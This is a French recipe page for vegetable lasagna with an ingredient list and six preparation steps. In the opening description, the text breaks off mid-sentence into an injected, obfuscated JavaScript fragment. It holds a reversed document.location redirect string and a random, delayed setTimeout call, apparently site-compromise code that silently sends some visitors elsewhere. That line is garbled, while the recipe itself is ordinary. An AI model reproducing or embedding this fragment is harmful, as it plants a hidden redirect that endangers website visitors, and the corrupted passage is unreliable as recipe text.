Lasagnes de légumes

2018-02-19

Cuisine : Lasagnes
Thématique : Végétarien
Niveau : Difficile

Rincez, séchez, Coupez-les courgettes, les aubergines et les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates.

Ingrédients

Pour 6 personnes
12 feuilles de lasagne
2 aubergines
6 courgettes
5 tomates
600 g d'épinards frais
3 cuillères à soupe de crème fraîche épaisse
6 tomates cerise
6 mozzarella
2 cuillères à soupe d'huile d'arachide
Sel - poivre du moulin

Préparation de la recette

Etape 1

Rincez, séchez, Coupez-les courgettes, les aubergines et les tomates.

Etape 2

Dans une sauteuse avec 2 cuillères à soupe d'huile d'arachide, sur feu vif, faites revenir les courgettes, et les aubergines. Faites les cuire pendant 5 minutes. Tout en remuant en incorporant les tomates, le basilic. Couvrez et faites cuire pendant 30 minutes. Tout en surveillant la cuisson.

Etape 3

Dans une casserole d'eau bouillante salée, plongez les lasagnes. Portez à ébullition et faites cuire en respectant le temps de cuisson indiqué sur le paquet. Lavez, essorez les épinards.

Etape 4

Dans une cocotte avec l'huile restante faites revenir les épinards pendant 15 minutes, tout en remuant, salez, poivrez, ajoutez la crème fraîche.

Etape 5

Déposez une couche de lasagnes dans un plat à gratin, une couche de légumes, une couche de lasagnes et terminez par les épinards à la crème. Préchauffez le four à 180° C thermostat 6.

Etape 6

Enfournez et faites réchauffer pendant 10 minutes. A ce moment retirez du four. Déposez les mini mozzarella dessus avec quelques feuilles de basilic. Dégustez.